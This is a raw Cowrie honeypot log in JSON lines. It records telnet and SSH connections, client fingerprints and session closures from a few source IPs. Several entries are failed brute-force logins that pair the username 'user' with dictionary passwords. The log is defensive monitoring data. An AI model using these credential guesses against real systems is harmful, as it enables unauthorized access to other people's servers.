{"eventid":"cowrie.session.closed","duration":37.361520767211914,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:23.109150Z","src_ip":"159.203.13.64","session":"c26255b1dcbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60172,"dst_ip":"10.17.0.5","dst_port":23,"session":"90bd7130ae2a","protocol":"telnet","message":"New connection: 159.203.13.64:60172 (10.17.0.5:23) [session: 90bd7130ae2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:25.632834Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"79d37ce93bea","protocol":"telnet","message":"New connection: 159.203.13.64:60188 (10.17.0.5:23) [session: 79d37ce93bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:28.885418Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60192,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25bfcded846","protocol":"telnet","message":"New connection: 159.203.13.64:60192 (10.17.0.5:23) [session: e25bfcded846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:30.116368Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60204,"dst_ip":"10.17.0.5","dst_port":23,"session":"12cc99bc2907","protocol":"telnet","message":"New connection: 159.203.13.64:60204 (10.17.0.5:23) [session: 12cc99bc2907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:30.144332Z"}
{"eventid":"cowrie.session.closed","duration":44.620598793029785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:30.149751Z","src_ip":"159.203.13.64","session":"b445c26eb743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.53007626533508,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:31.327188Z","src_ip":"159.203.13.64","session":"75139fb2d61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.39475440979004,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:32.547610Z","src_ip":"159.203.13.64","session":"bb6a5f1b4255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.34341096878052,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:32.807677Z","src_ip":"159.203.13.64","session":"a55c1967929a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52942,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6ce9da26ba","protocol":"ssh","message":"New connection: 159.203.92.129:52942 (159.203.135.109:22) [session: 2c6ce9da26ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:34.754442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:34.759465Z","src_ip":"159.203.92.129","session":"2c6ce9da26ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:34.764527Z","src_ip":"159.203.92.129","session":"2c6ce9da26ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alicia","password":"alicia","message":"login attempt [alicia/alicia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:34.778670Z","src_ip":"159.203.92.129","session":"2c6ce9da26ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.686017990112305,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:34.802272Z","src_ip":"159.203.13.64","session":"e25bfcded846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49488,"dst_ip":"10.17.0.5","dst_port":23,"session":"59552bbd7000","protocol":"telnet","message":"New connection: 159.203.13.64:49488 (10.17.0.5:23) [session: 59552bbd7000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:34.818291Z"}
{"eventid":"cowrie.session.closed","duration":43.09239315986633,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:34.993776Z","src_ip":"159.203.13.64","session":"d503aae5fd1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49502,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a035746f463","protocol":"telnet","message":"New connection: 159.203.13.64:49502 (10.17.0.5:23) [session: 3a035746f463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:35.044213Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:35.785893Z","src_ip":"159.203.92.129","session":"2c6ce9da26ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49504,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd6dd47f25f","protocol":"telnet","message":"New connection: 159.203.13.64:49504 (10.17.0.5:23) [session: 2bd6dd47f25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:37.978939Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49514,"dst_ip":"10.17.0.5","dst_port":23,"session":"32625d34a040","protocol":"telnet","message":"New connection: 159.203.13.64:49514 (10.17.0.5:23) [session: 32625d34a040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:37.991320Z"}
{"eventid":"cowrie.session.closed","duration":53.79379963874817,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:38.059487Z","src_ip":"159.203.13.64","session":"f03faafda932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9776,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdc3b8d2e5b4","protocol":"ssh","message":"New connection: 2.57.121.25:9776 (159.203.135.109:22) [session: fdc3b8d2e5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:39.357074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:39.361362Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:39.465993Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fastcars","message":"login attempt [user/fastcars] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:39.962027Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fannie","message":"login attempt [user/fannie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:41.069312Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"familia","message":"login attempt [user/familia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:42.177256Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7896b507235","protocol":"telnet","message":"New connection: 80.252.221.197:48302 (159.203.135.109:23) [session: c7896b507235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:42.257836Z"}
{"eventid":"cowrie.session.closed","duration":37.82891631126404,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:42.630717Z","src_ip":"159.203.13.64","session":"154e9530616e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"falstaff","message":"login attempt [user/falstaff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:43.285175Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48316,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa52e965e2ad","protocol":"telnet","message":"New connection: 80.252.221.197:48316 (159.203.135.109:23) [session: aa52e965e2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:43.584723Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48328,"dst_ip":"159.203.135.109","dst_port":23,"session":"185bd16ebb26","protocol":"telnet","message":"New connection: 80.252.221.197:48328 (159.203.135.109:23) [session: 185bd16ebb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:44.163069Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48342,"dst_ip":"159.203.135.109","dst_port":23,"session":"b98cd04f640d","protocol":"telnet","message":"New connection: 80.252.221.197:48342 (159.203.135.109:23) [session: b98cd04f640d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:44.306186Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"evergreen","message":"login attempt [user/evergreen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:44.401541Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48344,"dst_ip":"159.203.135.109","dst_port":23,"session":"529fecb662b6","protocol":"telnet","message":"New connection: 80.252.221.197:48344 (159.203.135.109:23) [session: 529fecb662b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:44.596969Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":48354,"dst_ip":"159.203.135.109","dst_port":23,"session":"70b64d16ad16","protocol":"telnet","message":"New connection: 80.252.221.197:48354 (159.203.135.109:23) [session: 70b64d16ad16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:44.846273Z"}
{"eventid":"cowrie.session.closed","duration":40.69399094581604,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:45.361624Z","src_ip":"159.203.13.64","session":"46168bf91c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:45.509039Z","src_ip":"2.57.121.25","session":"fdc3b8d2e5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47076,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da3eb8dbede","protocol":"telnet","message":"New connection: 159.203.13.64:47076 (10.17.0.5:23) [session: 8da3eb8dbede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:45.859450Z"}
{"eventid":"cowrie.session.closed","duration":39.283546686172485,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:45.953779Z","src_ip":"159.203.13.64","session":"fe35780f83d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.40749406814575,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:45.970750Z","src_ip":"159.203.13.64","session":"cf83e7e95ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.51602530479431,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:47.795063Z","src_ip":"159.203.13.64","session":"aa15adebf881","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98897099494934,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:48.457797Z","src_ip":"159.203.13.64","session":"21a46195009f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.877615451812744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:50.238965Z","src_ip":"80.252.221.197","session":"a4512b143f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47086,"dst_ip":"10.17.0.5","dst_port":23,"session":"a70fdea9b5bc","protocol":"telnet","message":"New connection: 159.203.13.64:47086 (10.17.0.5:23) [session: a70fdea9b5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:50.511543Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50644,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0042637307","protocol":"telnet","message":"New connection: 159.203.13.64:50644 (10.17.0.5:23) [session: ab0042637307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:50.772875Z"}
{"eventid":"cowrie.session.closed","duration":40.81140494346619,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:50.930769Z","src_ip":"159.203.13.64","session":"d399eae6a0cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37430,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1e3d30aad0","protocol":"telnet","message":"New connection: 80.252.221.197:37430 (159.203.135.109:23) [session: 1d1e3d30aad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:50.983353Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37442,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e82a9d3d39d","protocol":"telnet","message":"New connection: 80.252.221.197:37442 (159.203.135.109:23) [session: 6e82a9d3d39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:51.141655Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50652,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa83ab78373","protocol":"telnet","message":"New connection: 159.203.13.64:50652 (10.17.0.5:23) [session: aaa83ab78373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:51.217574Z"}
{"eventid":"cowrie.session.closed","duration":36.71910119056702,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:51.917357Z","src_ip":"80.252.221.197","session":"d4e49cffa250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.86050486564636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:52.157050Z","src_ip":"80.252.221.197","session":"585517f996b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.3293297290802,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:52.609550Z","src_ip":"159.203.13.64","session":"313fb1246caa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.41179037094116,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:53.546892Z","src_ip":"80.252.221.197","session":"c2c7e852aa84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.812862157821655,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:54.874326Z","src_ip":"159.203.13.64","session":"a2d4ae51ef93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3c0c892174","protocol":"telnet","message":"New connection: 159.203.13.64:50666 (10.17.0.5:23) [session: 8b3c0c892174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:57.229980Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50682,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f1936f66bf4","protocol":"telnet","message":"New connection: 159.203.13.64:50682 (10.17.0.5:23) [session: 7f1936f66bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:59.456287Z"}
{"eventid":"cowrie.session.closed","duration":31.01721453666687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:01.161414Z","src_ip":"159.203.13.64","session":"12cc99bc2907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44242,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d7c950c20f6","protocol":"telnet","message":"New connection: 159.203.13.64:44242 (10.17.0.5:23) [session: 5d7c950c20f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:02.128246Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44246,"dst_ip":"10.17.0.5","dst_port":23,"session":"992f09b5314a","protocol":"telnet","message":"New connection: 159.203.13.64:44246 (10.17.0.5:23) [session: 992f09b5314a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:03.163963Z"}
{"eventid":"cowrie.session.closed","duration":42.68623352050781,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:03.677270Z","src_ip":"159.203.13.64","session":"be68da4ff555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.38848400115967,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:04.094387Z","src_ip":"159.203.13.64","session":"7cf73406e8cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44252,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8ca4487ad4","protocol":"telnet","message":"New connection: 159.203.13.64:44252 (10.17.0.5:23) [session: 5f8ca4487ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:05.612105Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44266,"dst_ip":"10.17.0.5","dst_port":23,"session":"5943d714d201","protocol":"telnet","message":"New connection: 159.203.13.64:44266 (10.17.0.5:23) [session: 5943d714d201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:05.689167Z"}
{"eventid":"cowrie.session.closed","duration":40.69451093673706,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:06.327212Z","src_ip":"159.203.13.64","session":"90bd7130ae2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.30720329284668,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:07.192508Z","src_ip":"159.203.13.64","session":"79d37ce93bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44276,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f96fd774ecd","protocol":"telnet","message":"New connection: 159.203.13.64:44276 (10.17.0.5:23) [session: 6f96fd774ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:09.170464Z"}
{"eventid":"cowrie.session.closed","duration":4.404759407043457,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:10.016762Z","src_ip":"159.203.13.64","session":"5f8ca4487ad4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38561224937439,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:10.364415Z","src_ip":"159.203.13.64","session":"2bd6dd47f25f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0a421ae832","protocol":"telnet","message":"New connection: 159.203.13.64:39426 (10.17.0.5:23) [session: 6d0a421ae832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:12.137444Z"}
{"eventid":"cowrie.session.closed","duration":38.006279706954956,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:12.824438Z","src_ip":"159.203.13.64","session":"59552bbd7000","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.382073879241943,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:13.552449Z","src_ip":"159.203.13.64","session":"6f96fd774ecd","protocol":"telnet"}
